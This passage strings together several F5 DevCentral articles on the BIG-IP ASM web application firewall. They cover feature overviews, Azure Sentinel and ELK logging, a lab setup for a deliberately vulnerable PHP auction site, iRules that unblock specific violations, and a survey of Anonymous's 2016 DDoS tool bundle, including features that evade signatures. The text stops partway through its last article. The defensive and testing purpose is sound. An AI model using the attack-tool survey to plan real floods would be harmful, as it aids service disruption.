The BIG-IP Application Security Manager Part 1: What is the ASM?
tl;dr - BIG-IP Application Security Manager (ASM) is a layer 7 web application firewall (WAF) available on F5's BIG-IP platforms. Introduction This article series was written a while back, but we are re-introducing it as a part of our Security Month on DevCentral. I hope you enjoy all the features of this very powerful module on the BIG-IP! This is the first of a 10-part series on the BIG-IP ASM. This module is a very powerful and effective tool for defending your applications and your peace of mind, but what is it really? And, how do you configure it correctly and efficiently? How can you take advantage of all the features it has to offer? Well, the purpose of this article series is to answer these fundamental questions. So, join me as we dive into this really cool technology called the BIG-IP ASM! The Basics The BIG-IP ASM is a Layer 7 ICSA-certified Web Application Firewall (WAF) that provides application security in traditional, virtual, and private cloud environments. It is built on TMOS...the universal product platform shared by all F5 BIG-IP products. It can run on any of the F5 Application Delivery Platforms...BIG-IP Virtual Edition, BIG-IP 2000 -> 11050, and all the VIPRION blades. It protects your applications from a myriad of network attacks including the OWASP Top 10 most critical web application security risks It is able to adapt to constantly-changing applications in very dynamic network environments It can run standalone or integrated with other modules like BIG-IP LTM, BIG-IP DNS, BIG-IP APM, etc Why A Layer 7 Firewall? Traditional network firewalls (Layer 3-4) do a great job preventing outsiders from accessing internal networks. But, these firewalls offer little to no support in the protection of application layer traffic. As David Holmes points out in his article series on F5 firewalls, threat vectors today are being introduced at all layers of the network. For example, the Slowloris and HTTP Flood attacks are Layer 7 attacks...a traditional network firewall would never stop these attacks. But, nonetheless, your application would still go down if/when it gets hit by one of these. So, it's important to defend your network with more than just a traditional Layer 3-4 firewall. That's where the ASM comes in... Some Key Features The ASM comes pre-loaded with over 2,200 attack signatures. These signatures form the foundation for the intelligence used to allow or block network traffic. If these 2,200+ signatures don't quite do the job for you, never fear...you can also build your own user-defined signatures. And, as we all know, network threats are always changing so the ASM is configured to download updated attack signatures on a regular basis. Also, the ASM offers several different policy building features. Policy building can be difficult and time consuming, especially for sites that have a large number of pages. For example, DevCentral has over 55,000 pages...who wants to hand-write the policy for that?!? No one has that kind of time. Instead, you can let the system automatically build your policy based on what it learns from your application traffic, you can manually build a policy based on what you know about your traffic, or you can use external security scanning tools (WhiteHat Sentinel, QualysGuard, IBM AppScan, Cenzic Hailstorm, etc) to build your policy. In addition, the ASM comes configured with pre-built policies for several popular applications (SharePoint, Exchange, Oracle Portal, Oracle Application, Lotus Domino, etc). Did you know? The BIG-IP ASM was the first WAF to integrate with a scanner. WhiteHat approached all the WAFs and asked about the concept of building a security policy around known vulnerabilities in the apps. All the other WAFs said "no"...F5 said "of course!" and thus began the first WAF-scanner integration. The ASM also utilizes Geolocation and IP address intelligence to allow for more sophisticated and targeted defense measures. You can allow/block users from specific locations around the world, and you can block IP addresses that have built a bad reputation on other sites around the Internet. If they were doing bad things on some other site, why let them access yours? The ASM is also built for Payment Card Industry Data Security Standard (PCI DSS) compliance. In fact, you can generate a real-time PCI compliance report at the click of a button! The ASM also comes loaded with the DataGuard feature that automatically blocks sensitive data (Credit Card numbers, SSN, etc) from being displayed in a browser. In addition to the PCI reports, you can generate on-demand charts and graphs that show just about every detail of traffic statistics that you need. The following screenshot is a representative sample of some real traffic that I pulled off a site that uses the ASM. Pretty powerful stuff! I could go on for days here...and I know you probably want me to, but I'll wrap it up for this first article. I hope you can see the value of the ASM both as a technical solution in the defense of your network and also a critical asset in the long-term strategic vision of your company. So, if you already have an ASM and want to know more about it or if you don't have one yet and want to see what you're missing, come on back for the next article where I will talk about the cool features of policy building. What is the BIG-IP ASM? Policy Building The Importance of File Types, Parameters, and URLs Attack Signatures XML Security IP Address Intelligence and Whitelisting Geolocation Data Guard Username and Session Awareness Tracking Event LoggingIntegrating the F5 BIGIP with Azure Sentinel
So here’s the deal; I have a few F5 BIG-IP VEs deployed across the globe protecting my cloud-hosted applications.It sure would be nice if there was a way to send all that event and statistical data to my Azure Sentinel workspace.Well, guess what? There is a way and yes, it is nice. The Application Services 3 (AS3) extension is relatively new mechanism for declaratively configuring application-specific resources on a BIG-IP system.This involves posting a JSON declaration to the system’s API endpoint, (https://<BIG-IP>/mgmt/shared/appsvcs/declare). Telemetry Streaming (TS) is an F5 iControl LX Extension that, when installed on the BIG-IP, enables you to declaratively aggregate, normalize, and forward statistics and events from the BIG-IP.The control plane data can be streamed to Azure Log Analytics application by posting a single TS JSON declaration to TS’s API endpoint, (https://<BIG-IP>>mgmt/shared/telemetry/declare). As illustrated on the right, events/stats can be collected and aggregated from multiple BIG-IPs regardless of whether they reside in Azure, on-premises, or other public/private clouds. Let’s take a quick look at how I setup my BIG-IP and Azure sentinel.Since this post is not meant to be prescriptive guidance, I have included links to relevant guidance where appropriate.Okay, let’s have some fun! So I don’t want to sound too biased here but, with that said, the F5 crew has put out some excellent guidance on Telemetry Streaming.The CloudDocs site, (see left) includes information for various cloud-related F5 technologies and integrations.Refer to the installation section for detailed guidance. Install the Plug-in The TS plug-in RPM can be downloaded from the GitHub repo, (https://github.com/F5Networks/f5-telemetry-streaming/releases). From the BIG-IP management GUI, I navigated to iApps –> Package ManagementLX and selected ‘Import’. I selected ‘Choose File’ , browsed to and selected the downloaded rpm. With the TS extension installed, I can now configure streaming via the newly created REST API endpoint.You may have noticed that I have previously installed the Application Services 3, (AS3) extension.AS3 is a powerful F5 extension that enables application-specific configuration of the BIG-IP via a declarative JSON REST interface. Configure Logging Profiles and Streaming on BIG-IP As I mentioned above, I could make use of the AS3 extension to configure my BIG-IP with the necessary logging resources.With AS3, I can post a single JSON declaration, (I used Postman to apply) that configures event listeners for my various deployed modules.In my deployment, I’m currently using Local Traffic Manager, and Advanced WAF.For my deployment, I went a little “old school” and configured the BIG-IP via the management GUI or TMSH cli.Regardless of the method you prefer, the installation instructions provide detailed guidance for each log configuration method. LTM Logging To enable LTM request logging, I ran the following two TMSH commands.Afterwards, I enabled request logging on the virtual server, (see below) to begin streaming data to Azure Log Analytics. Create Listener Pool - create ltm pool telemetry-local monitor tcp members replace-all-with { 10.8.3.10:6514 } Create LTM Request Log Profile - create ltm profile request-log telemetry request-log-pool telemetry-local request-log-protocol mds-tcp request-log-template event_source=\"request_logging\",hostname=\"$BIGIP_HOSTNAME\", client_ip=\"$CLIENT_IP\",server_ip=\"$SERVER_IP\", http_method=\"$HTTP_METHOD\", http_uri=\"$HTTP_URI\", virtual_name=\"$VIRTUAL_NAME\",event_timestamp=\"$DATE_HTTP\" request-logging enabled ASM, (Advanced WAF) Logging To enable ASM event logging, I ran the following two TMSH commands.Afterwards, I simply needed to associate my security logging profiles to my application virtual servers, (see below). Create Security Log Profile – create security log profile telemetry application replace-all-with { telemetry { filter replace-all-with { request-type { values replace-all-with { all } } } logger-type remote remote-storage splunk servers replace-all-with { 255.255.255.254:6514 {} } } } Streaming Data to Azure Log Analytics With my BIG-IP configured for remote logging, I was now ready to configure my BIG-IPs to stream event data to my Azure Log Analytics workspace.This is accomplished by posting a JSON declaration to the TS API endpoint.The declaration, (see example below) includes settings specifying workspace ID, access passphrase, polling interval, etc.).This information can be gathered from the Azure portal or via Azure cli.With the declaration applied to the the BIG-IP event/stat data now streams to my Azure workspace. Utilize Azure Sentinel for Global Visibility and Analytics With event and stats now streaming into my previously created OMS workspace from my BIG-IP(s), I can now start to visualize and work with the aggregated data.From the OMS workspace I can aggregate data from my BIG-IPs as well as other sources and perform complex queries.I can then take the results and use them to populate a one or more custom dashboards, (see example below). Additionally, to get started quickly I can deploy a pre-defined dashboard directly out of the Azure OMS workspace.As of this post, F5 currently has a pre-canned dashboard for visualizing Advanced WAF and basic LTM event data, (see below). Summary Now, I have a single pane of glass that can be pinned to my Azure portal for quick, near-real time visibility of my globally deployed application.Pretty cool, huh?Here’s the overall order and some relevant links: Setup Azure Sentinel and OMS Workspace Install and Configure Telemetry Streaming onto the BIG-IP(s) Configure logging on BIG-IP(s) Additional Links Video Walkthrough of Azure Sentinel Integration F5 CloudDocs Application Services 3 Extension Telemetry Streaming User Guide Azure Sentinel OverviewConfiguring the BIG-IP and PHP "Hack-It-Yourself" Auction Site
I've been writing a series of articles on the features and capabilities of the BIG-IP ASM...here are the links for your reading pleasure: What Is The ASM? Policy Building The Importance of File Types, Parameters, and URLs In those articles I've used a fictitious auction site to test the ASM. Several people have inquired about this auction site and they wanted to know how to configure it so that they could get their own hands dirty with testing and configuring their ASM. Well, this article outlines the steps needed to get your own BIG-IP ASM and PHP Auction site up and running. Then, it's up to you to try out all the cool features of the ASM. Required Software I used virtual machines to set up and configure the BIG-IP and the auction site. You can use whatever hypervisor you want, but for the purposes of this article, I'll show you how it's done using VMware workstation. So, here's the list of software you will need to make all this happen: VMware Workstation (free trial available here). I'm using a Windows PC, but you can use Linux if you want. BIG-IP Virtual Edition (make sure you have the ASM module). The PHP Auction Site VMware files. UPDATE: The Google Drive folder that has all the download files is here:https://drive.google.com/drive/folders/0B4xC7Uw8ziLER3RqZXZWTFZTcW8?resourcekey=0-shweDpAzbgSyDTAkHqy-iw&usp=sharing Caveat: This article assumes you already have a licensed and configured BIG-IP system, so I will just focus on the PHPAuction side of things. If you don't have the BIG-IP Virtual Edition, contact your sales rep and ask for a copy. Also, if you need help licensing and configuring the BIG-IP Virtual Edition, check out these solutions on AskF5: Licensing the BIG-IP system: http://support.f5.com/kb/en-us/solutions/public/7000/700/sol7752.html?sr=32111581 BIG-IP Virtual Edition Setup Guide for VMware: http://support.f5.com/kb/en-us/products/big-ip_ltm/manuals/product/bigip-ve-setup-vmware-11-4-0.html Virtual Network Configuration Before loading up the PHP Auction site, you need to complete the following steps to configure the VMware Workstation Virtual Network Editor (shown in the picture below). If you have already set up your BIG-IP Virtual Edition, you may have already stepped through this configuration. If that's the case, you will want to make sure the settings for your VMnets are the same as the settings shown below. Delete any existing VMnets EXCEPT for VMnet0 Click the "Add Network" button, and add VMnet1, VMnet2, and VMnet3 VMnet0 Settings Since you kept the VMnet0 settings, you don't have to do anything else with that one. Here's a quick screenshot of the VMnet0 settings: VMnet1 Settings After you confirm the VMnet0 settings, select VMnet1 (this net will act as the out of band management) and configure it as follows: Select the Host-only (connect VMs internally in a private network) option Select the "Connect a host virtual adapter to this network" checkbox Clear the "Use local DHCP service to distribute IP address to VMs" checkbox For the Subnet IP, enter 10.128.1.0 and for the Subnet mask enter 255.255.255.0 VMnet2 Settings After you confirm the VMnet1 settings, select VMnet2 (this will act as the external VLAN for access to 0.0.0.0) and configure it as follows: Select the "NAT (shared host’s IP address with VMs)" option Select the "Connect a host virtual adapter to this network" checkbox Clear the "Use local DHCP service to distribute IP address to VMs" checkbox For the Subnet IP, enter 10.128.10.0 and for the Subnet mask enter 255.255.255.0 Click the "NAT Settings" button For the Gateway IP enter 10.128.10.1 and then click OK. VMnet3 Settings After you configure the VMnet2 settings, select VMnet3 (this will act as the internal VLAN where the server image exists) and configure it as follows: Host-only (connect VMs internally in a private network) option selected Connect a host virtual adapter to this network checkbox cleared Use local DHCP service to distribute IP address to VMs checkbox cleared For the Subnet IP enter 10.128.20.0 and for the Subnet mask enter 255.255.255.0 Ensure that the “Connect a host virtual adapter to this network” checkbox is cleared. This prevents your local workstation from having direct access to this network. This will avoid asymmetric routing issues and also allows you to demonstrate secure remote access and full proxy features. This concludes the network setup for VMware. Now you can install the PHP Auction virtual machine... Install the PHP Auction Image In VMware Workstation, select File >> Open and choose the "Open Virtual Machine Format" PHP Auction file (this will be a .ovf file). After you import the virtual machine (you may have to accept a few license agreements, etc), then you move on to configuring the virtual machine network settings. The following screenshot shows the settings for the PHP Auction virtual machine. You will need to customize the three Network Adapters to the settings shown in the picture below (you will use the three custom VMnets you just created), but you shouldn't need to configure anything else on this screen. After the virtual machine imports correctly, you can power it on and let it boot up. When the boot up completes, you will see the following login screen: The login is "root" and the password is "default". So, go ahead and login and then you can leave it alone...you won't need to touch it again. Configure the BIG-IP Now it's time to make sure the BIG-IP is set up correctly to protect the traffic flowing to/from the auction site. First, create a pool (I called it "auction_pool" but you can call it whatever you want) with node address 10.128.20.150 and service port 80. This pool only has one member. The following screenshot shows you the details for the auction pool. Next, you create the virtual server. I called it "auction_vs" but you can call it whatever you want...just don't call me Shirley. The IP address for the virtual server is 10.128.10.35, and I chose service port 443 so I could test out some crazy SSL capabilities. But, you can choose port 80 if you want. Keep in mind that if you choose port 443, you should create an SSL client profile and configure the appropriate certificate and key combo for the profile. The following screenshot shows the details of the virtual server configuration. The Final Touches OK...now that the BIG-IP is all set up and the PHP Auction virtual machine is running, you should be able to access the auction site from your browser of choice. One other optional thing you can do is add the virtual server IP address of the auction site to the "hosts" file in WIndows. You should be able to locate this file at: C: >> Windows >> System32 >> drivers >> etc. You can add the IP address to the file and then provide a host name for the auction site...the example below shows the name "auction.f5demo.com" but, again, you can choose something different if you want. So, the final check is to make sure all this works. Notice that the "auction.f5demo.com" worked as expected. You can also use the IP address "10.128.10.35" if you want. I hope this information is helpful. Feel free to comment and/or ask questions as needed. Also, be sure to check out the articles that dig deeper into the configurations and capabilities of the ASM!
Anonymous DDOS Tools 2016
In February 2016, the hacktivist group Anonymous published a hacktivist message in avideo posted on YouTube. The video contains detailed examples of uses for various DDoS tools, andthe video description contains a link to a zip file containing these tools. Screenshot from the Anonymous DDOS Tools 2016 video on YouTube. 2016 Tools Bundle A substantial number of DDoS tools (20, in fact) are included in this bundle. All of them are easy to use and have nice GUI menus. It’s not necessary to have any understanding of how the attacks actually work in order to operate the tools. This makes them very appealing to lay persons with little understanding of computer networking. Screenshot from the video of multiple attack tools in use at once. Most of the tools offer similar DDoS attack types—mostly HTTP, TCP, and UDP floods—but there is some interesting differentiation. For example, some tools offer more Layer 7 attack granularity, while providing the attacker control of the attacked URL path and parameters and also supporting POST floods. Other tools are focused on a single attack type, such as "Anonymous Ping Attack" and "Pringle DDOS", which only have ICMP flood capability. Screenshot of Pringle DDoS - a simple ICMP flooder If an attacker wants to launch a powerful Low and Slow DDoS attack, surprisingly he or she will find only a single tool in this bundle, the well-known Slowloris.pl perl tool, which is not authored by Anonymous at all. R.U.D.Y and other slow POST tools are noticeably missing from this bundle. Another group of tools provide some evasions, such as support for sending requests with different user agent and referer headers. For example, theUnKnown DoSer, a Layer 7 flooder, even supports randomization ofURL, User-Agent , and the Content-Length values in order to bypass hard-coded attack signatures. Screenshot of UnKnown DoSer - a Layer 7 flooder, with request randomization capability Screenshot of UnKnown DoSer attack traffic, demonstrating fields randomization Can't get enough of LOIC Low Orbit Ion Cannon-based (LOIC-based) tools are prominent in this bundle of DDoS tools: LOIC, JavaLOIC, LOIC-IFC, LOIC-SD and NewLOIC. LOIC was notoriously known as the main attack delivery tool used in several Anonymous operations such as Operation Payback, Operation Chanology and more.Being JAVA based, JavaLOIC is across-platform tool witha built-in proxy feature that enables an attacker to hide his or her own IP address. Some Anonymous sub-groups localize and re-brand the LOIC tool. LOIC-SD was first published by a Brazilian hacker group called Script Defenders and is mainly designed to overcome a language barrier by translating LOIC's user interface into Portuguese. Script Defenders’ variant of LOIC The "Indonesia Fighter Cyber" hacking group created LOIC-IFC, which differs only in thedefault TCP/UDP flood message saying, "Merdeka atau Mati", which means "Freedom or Death" in Malay. From a technical perspective, it provides additionalability to append random characters to the attacked URL in case of HTTP flood, and to the packet payload in case of TCP/UDP. Another LOIC-modified tool included in this bundle is NewLOIC, which, despite its name, offers no new functionality, only a new GUI design. Anonymous still consider LOIC and its various versions to be meaningful tools in its DDoS arsenal. In fact, a quarter of the tools included in this bundle are LOIC-based tools, despite the risk of exposing the attacker’s IP address by using these tools. DDoS Tools Features Comparison Some of the DDoS tools known to be used by Anonymous aren’t included in the published bundle.R.U.D.Y,keep-dead.php,TORsHammer,THC-SSL-DOS,#Refref, andAnonStress are just some of the known tools that don't appear here. Attack tools that use proxies in order to protect the identity of their users also seem to be missing in this bundle, which makes potential Anonymous newrecruits vulnerable to detection andprosecution. Even so, Anonymous continues to strengthen its presence.By regularly publishing a variety of simple-to-use tools, the group makes DDoS attacks more accessible and easy to perpetrate, with the obvious goal of recruiting more users to support its hacktivist operations. Although not a single tool in the bundle is new, the group continues to terrorize the world with every successful DDoS operation. Mitigating The Threat F5 mitigates a wide range of DDoS attacks, including those generated by Anonymous tools, using it's unique combination of innovative security products and services. F5’s DDoS Protection solution protects the fundamental elements of an application (network, DNS, SSL, and HTTP) against distributed denial-of-service attacks. Leveraging the intrinsic security capabilities of intelligent traffic management and application delivery, F5 protects and ensures availability of an organization's network and application infrastructure under the most demanding conditions.
File Uploads and ASM
File Uploads through a WAF Let’s say we have a web application with a form field that permits the upload of arbitrary files. It would appear to the user similar to the below: Aside from photos, the application may permit users to upload Word documents, Excel spreadsheets, PDF’s, and so forth. This can cause many false positives when the web application is protected by ASM, because the uploaded files may: Contain attack signatures. Image files may be parsed as ASCII, and suspicious-looking strings detected; Word or Excel documents may contain XSS tags or SQL injection strings. After all, Mr. ‘Select’ – ‘Union City’ -- is one of our most valuable customers. Contain illegal metacharacters, like XSS tags <> Be so large that the maximum request size (10MB by default) is exceeded Trip other violations It is therefore necessary to inform ASM that a particular parameter on a form field is one that contains a file upload so that checking for attack signatures and metacharacters can be disabled. Why not just disable the signature? Simply, because we do not want to introduce unnecessary exposure into the security policy. Just because a particular signature causes a false positive on the file upload transaction does not mean it should do elsewhere on the web application. At the time of writing, ASM permits attack signatures to be selectively disabled on parameters, but not URLs. Identify the Upload Parameter(s) Use a HTTP inspection tool such as Fiddler, Burp or Developer Tools to determine the name of the upload parameter and URL. In this case, we are uploading a JPG file named DSCF8205.JPG; the parameter used to transfer the file is called ‘filename1’. The URL is /foo.cfm. NOTE: This can also be obtained from the ASM request log; however these do sometimes get truncated making it impossible to determine the parameter name if it occurs more than 5KB into the request. Define the Upload Parameter(s) Assuming the upload is specific to a given URL, create that URL in the ASM policy. Next, create a parameter with the name we discovered earlier, and ensure it is set to type ‘File Upload’. Alternate Configuration Options If file upload is possible in many parts of the site using the same filename, create the parameter globally without defining the URL as we did first here If many file upload parameters are present on a single page with a similar name (e.g. filename1, filename2, filename3…), create a wildcard parameter name filename* ‘Disallow file upload of executables’ is a desirable feature. It checks the magic number of the uploaded file and blocks the upload if it indicates an executable file. As with all ASM configurations, understanding the HTTP fields passed to the application is key The above procedure should work for most cases, and arbitrary file uploads (except executables) should be allowed. However, there are some cases where additional configuration is required. Didn’t Work? Attack signatures have a defined scope, as seen below: Table C.1Attack signature keywords and usage Keyword Usage content Match in the full content. SeeUsing the content rule option, for syntax information. uricontent Match in the URI, including the query string (unless using theobjonlymodifier). SeeUsing the uricontent rule option, for syntax information. headercontent Match in the HTTP headers. SeeUsing the headercontent rule option, for syntax information. valuecontent Matches an alpha-numeric user-input parameter (or an extra-normalizedparameter, if using thenormmodifier); used for parameter values and XML objects. SeeUsing the valuecontent rule option, for syntax information, andScope modifiers for the pcre rule option, for more information on scope modifiers. An XML payload is checked for attack signatures when thevaluecontentkeyword is used in the signature. Note:Thevaluecontentparameter replaces theparamcontentparameter that was used in the Application Security Manager versions earlier than 10.0. reference Provides an external link to documentation and other information for the rule. SeeUsing the reference rule option, for syntax information. This information can be found in ASM under “Attack Signatures List”. As an example, search for ‘Path Traversal’ attack types and expand signature id’s 200007006 and 200007000: A signature with a ‘Request’ scope does not pay any attention to parameter extraction – it just performs a bitwise comparison of the signature to the entire request as a big flat hex blob. So to prevent this signature from being triggered, we can (a) disable it, (b) use an iRule to disable it on these specific requests. Before we can use iRules on an ASM policy, we need to switch on the ‘Trigger ASM iRule Events’ setting on the main policy configuration page. Further information can be found at: https://techdocs.f5.com/kb/en-us/products/big-ip_asm/manuals/product/asm-implementations-11-5-0/27.html. The below is an iRule that will prevent a request meeting the following characteristics from raising an ASM violation: Is a POST URI ends with /foo.cfm Content-Type is ‘multipart/form-data’ Attack Signature violation raised with signature ID 200007000 when ASM_REQUEST_VIOLATION { if {([HTTP::method] equals "POST") and ([string tolower [HTTP::path]] ends_with "/foo.cfm") and ([string tolower [HTTP::header "Content-Type"]] contains "multipart/form-data") } { if {([lindex [ASM::violation_data] 0] contains "VIOLATION_ATTACK_SIGNATURE_DETECTED") and ([ASM::violation details] contains "sig_data.sig_id 200007000") } { ASM::unblock } } } What if you’re getting a lot of false positives and just want to disable attack signatures with Request scope? when ASM_REQUEST_VIOLATION { if {([HTTP::method] equals "POST") and ([string tolower [HTTP::path]] ends_with "/foo.cfm") and ([string tolower [HTTP::header "Content-Type"]] contains "multipart/form-data") } { if {([lindex [ASM::violation_data] 0] contains "VIOLATION_ATTACK_SIGNATURE_DETECTED") and ([ASM::violation details] contains "context request") } { ASM::unblock } } } But it’s not an attack signature… False positives might also be generated by large file uploads exceeding the system-defined maximum size. This value is 10MB by default and can be configured. See https://support.f5.com/csp/article/K7935 for more information. However, this is a system-wide variable, and it may not be desirable to change this globally, nor may it be desirable to disable the violation. Again, we can use an iRule to disable this violation on the file upload: when ASM_REQUEST_VIOLATION { if {([HTTP::method] equals "POST") and ([string tolower [HTTP::path]] ends_with "/foo.cfm") and ([string tolower [HTTP::header "Content-Type"]] contains "multipart/form-data") } { if {([lindex [ASM::violation_data] 0] contains "VIOLATION_REQUEST_TOO_LONG") } { ASM::unblock } } } ASM iRules reference https://clouddocs.f5.com/api/irules/ASM__violation_data.html https://clouddocs.f5.com/api/irules/ASM__violation.html https://clouddocs.f5.com/api/icontrol-soap/ASM__ViolationName.html
From ASM to Advanced WAF: Advancing your Application Security
TL;DR: As of April 01, 2021, F5 has officially placed Application Security Manager (ASM) into End of Sale (EoS) status, signifying the eventual retirement of the product. (F5 Support Announcement - K72212499 ) Existing ASM,or BEST bundle customers, under a valid support contract running BIG-IP version 14.1 or greater can simply reactivate their licenses to instantly upgrade to Advanced WAF (AdvWAF) completely free of charge. Introduction Protecting your applications is becoming more challenging every day; applications are getting more complex, and attackers are getting more advanced. Over the years we have heard your feedback that managing a Web Application Firewall (WAF) can be cumbersome and you needed new solutions to protect against the latest generation of attacks. Advanced Web Application Firewall, or AdvWAF, is an enhanced version of the Application Security Manager (ASM) product that introduces new attack mitigation techniques and many quality-of-life features designed to reduce operational overhead. On April 01, 2021 – F5 started providing free upgrades for existing Application Security Manager customers to the Advanced WAF license. Keep on reading for: A brief history of ASM and AdvWAF How the AdvWAF license differs from ASM (ASM vs AdvWAF How to determine if your BIG-IPs are eligible for this free upgrade Performing the license upgrade How did we get here? For many years, ASM has been the gold standard Web Application Firewall (WAF) used by thousands of organizations to help secure their most mission-critical web applications from would-be attackers. F5 acquired the technology behind ASM in 2004 and subsequently ‘baked’ it into the BIG-IP product, immediately becoming the leading WAF product on the market. In 2018, after nearly 14 years of ASM development, F5 released the new, Advanced WAF license to address the latest threats. Since that release, both ASM and AdvWAF have coexisted, granting customers the flexibility to choose between the traditional or enhanced versions of the BIG-IP WAF product.As new features were released, they were almost always unique to AdvWAF, creating further divergence as time went on, and often sparking a few common questions (all of which we will inevitably answer in this very article) such as: Is ASM going away? What is the difference between ASM and AdvWAF? Will feature X come to ASM too? I need it! How do I upgrade from ASM to AdvWAF? Is the BEST bundle no longer really the BEST? To simplify things for our customers (and us too!), we decided to announce ASM as End of Sale (EoS), starting on April 01, 2021. This milestone, for those unfamiliar, means that the ASM product can no longer be purchased after April 01 of this year – it is in the first of 4 stages of product retirement. An important note is that no new features will be added to ASM going forward. So, what’s the difference? A common question we get often is “How do I migrate my policy from ASM to AdvWAF?” The good news is that the policies are functionally identical, running on BIG-IP, with the same web interface, and have the same learning engine and underlying behavior. In fact, our base policies can be shared across ASM, AdvWAF, and NGINX App Protect (NAP). The AdvWAF license simply unlocks additional features beyond what ASM has, that is it – all the core behaviors of the two products are identical otherwise. So, if an engineer is certified in ASM and has managed ASM security policies previously, they will be delighted to find that nothing has changed except for the addition of new features. This article does not aim to provide an exhaustive list of every feature difference between ASM and AdvWAF. Instead, below is a list of the most popular features introduced in the AdvWAF license that we hope you can take advantage of. At the end of the article, we provide more details on some of these features: Secure Guided Configurations Unlimited L7 Behavioral DoS DataSafe (Client-side encryption) OWASP Compliance Dashboard Threat Campaigns (includes Bot Signature updates) Additional ADC Functionality Micro-services protection Declarative WAF Automation I’m interested, what’s the catch? There is none! F5 is a security company first and foremost, with a mission to provide the technology necessary to secure our digital world. By providing important useability enhancements like Secure Guided Config and OWASP Compliance Dashboard for free to existing ASM customers, we aim to reduce the operational overhead associated with managing a WAF and help make applications safer than they were yesterday - it’s a win-win. If you currently own a STANDALONE, ADD-ON or BEST Bundle ASM product running version 14.1 or later with an active support contract, you are eligible to take advantage of this free upgrade. This upgrade does not apply to customers running ELA licensing or standalone ASM subscription licenses at this time. If you are running a BIG-IP Virtual Edition you must be running at least a V13 license. To perform the upgrade, all you need to do is simply REACTIVATE your license, THAT IS IT! There is no time limit to perform the license reactivation and this free upgrade offer does not expire. *Please keep in mind that re-activating your license does trigger a configuration load event which will cause a brief interruption in traffic processing; thus, it is always recommended to perform this in a maintenance window. Step 1: Step 2: Choose “Automatic” if your BIG-IP can communicate outbound to the Internet and talk to the F5 Licensing Server. Choose Manual if your BIG-IP cannot reach the F5 Licensing Server directly through the Internet. Click Next and the system will re-activate your license. After you’ve completed the license reactivation, the quickest way to know if you now have AdvWAF is by looking under the Security menu. If you see "Guided Configuration”, the license upgrade was completed successfully. You can also login to the console and look for the following feature flags in the /config/bigip.license file to confirm it was completed successfully by running: grep -e waf_gc -e mod_waf -e mod_datasafe bigip.license You should see the following flags set to enabled: Waf_gc: enabled Mod_waf: enabled Mod_datasafe: enabled *Please note that the GUI will still reference ASM in certain locations such as on the resource provisioning page; this is not an indication of any failure to upgrade to the AdvWAF license. *Under Resource Provisioning you should now see that FPS is licensed. This will need to be provisioned if you plan on utilizing the new AdvWAF DataSafe feature explained in more detail in the Appendix below. For customers with a large install base, you can perform license reactivation through the CLI. Please refer to the following article for instructions: https://support.f5.com/csp/article/K2595 Conclusion F5 Advanced WAF is an enhanced WAF license now available for free to all existing ASM customers running BIG-IP version 14.1 or greater, only requiring a simple license reactivation. The AdvWAF license will provide immediate value to your organization by delivering visibility into the OWASP Top 10 compliance of your applications, configuration wizards designed to build robust security policies quickly, enhanced automation capabilities, and more. If you are running ASM with BIG-IP version 14.1 or greater, what are you waiting for? (Please DO wait for your change window though 😊) Acknowledgments Thanks to Brad Scherer , John Marecki , Michael Everett , and Peter Scheffler for contributing to this article! Appendix: More details on select AdvWAF features Guided Configurations One of the most common requests we hear is, “can you make WAF easier?” If there was such a thing as an easy button for WAF configurations, Guided Configs are that button. Guided Configurations easily take you through complex configurations for various use-cases such as Web Apps, OWASP top 10, API Protection, DoS, and Bot Protection. L7DoS – Behavioral DoS Unlimited Behavioral DoS - (BaDoS) provides automatic protection against DoS attacks by analyzing traffic behavior using machine learning and data analysis. With ASM you were limited to applying this type of DoS profile to a maximum of 2 Virtual Servers. The AdvWAF license completely unlocks this capability, removing the 2 virtual server limitation from ASM. Working together with other BIG-IP DoS protections, Behavioral DoS examines traffic flowing between clients and application servers in data centers, and automatically establishes the baseline traffic/flow profiles for Layer 7 (HTTP) and Layers 3 and 4. DataSafe *FPS must be provisioned DataSafe is best explained as real-time L7 Data Encryption. Designed to protect websites from Trojan attacks by encrypting data at the application layer on the client side. Encryption is performed on the client-side using a public key generated by the BIG-IP system and provided uniquely per session. When the encrypted information is received by the BIG-IP system, it is decrypted using a private key that is kept on the server-side. Intended to protect, passwords, pins, PII, and PHI so that if any information is compromised via MITB or MITM it is useless to the attacker. DataSafe is included with the AdvWAF license, but the Fraud Protection Service (FPS) must be provisioned by going to System > Resource Provisioning: OWASP Compliance Dashboard Think your policy is air-tight? The OWASP Compliance Dashboard details the coverage of each security policy for the top 10 most critical web application security risks as well as the changes needed to meet OWASP compliance. Using the dashboard, you can quickly improve security risk coverage and perform security policy configuration changes. Threat Campaigns (includes Bot Signature updates) Threat campaigns allow you to do more with fewer resources. This feature is unlocked with the AdvWAF license, it, however, does require an additional paid subscription above and beyond that. This paid subscription does NOT come with the free AdvWAF license upgrade. F5’s Security Research Team (SRT) discovers attacks with honeypots – performs analysis and creates attack signatures you can use with your security policies. These signatures come with an extremely low false-positive rate, as they are strictly based on REAL attacks observed in the wild. The Threat Campaign subscription also adds bot signature updates as part of the solution. Additional ADC Functionality The AdvWAF license comes with all of the Application Delivery Controller (ADC) functionality required to both deliver and protect a web application. An ASM standalone license came with only a very limited subset of ADC functionality – a limit to the number of pool members, zero persistence profiles, and very few load balancing methods, just to name a few. This meant that you almost certainly required a Local Traffic Manager (LTM) license in addition to ASM, to successfully deliver an application. The AdvWAF license removes many of those limitations; Unlimited pool members, all HTTP/web pertinent persistence profiles, and most load balancing methods, for example.
Implementing BIG-IP WAF logging and visibility with ELK
Scope This technical article is useful for BIG-IP users familiar with web application security and the implementation and use of the Elastic Stack.This includes, application security professionals, infrastructure management operators and SecDevOps/DevSecOps practitioners. The focus is for WAF logs exclusively.Firewall, Bot, or DoS mitigation logging into the Elastic Stack is the subject of a future article. Introduction This article focusses on the required configuration for sending Web Application Firewall (WAF) logs from the BIG-IP Advanced WAF (or BIG-IP ASM) module to an Elastic Stack (a.k.a. Elasticsearch-Logstash-Kibana or ELK). First, this article goes over the configuration of BIG-IP.It is configured with a security policy and a logging profile attached to the virtual server that is being protected. This can be configured via the BIG-IP user interface (TMUI) or through the BIG-IP declarative interface (AS3). The configuration of the Elastic Strack is discussed next.The configuration of filters adapted to processing BIP-IP WAF logs. Finally, the article provides some initial guidance to the metrics that can be taken into consideration for visibility.It discusses the use of dashboards and provides some recommendations with regards to the potentially useful visualizations. Pre-requisites and Initial Premise For the purposes of this article and to follow the steps outlined below, the user will need to have at least one BIG-IP Adv. WAF running TMOS version 15.1 or above (note that this may work with previous version but has not been tested).The target BIG-IP is already configured with: A virtual Server A WAF policy An operational Elastic Stack is also required. The administrator will need to have configuration and administrative privileges on both the 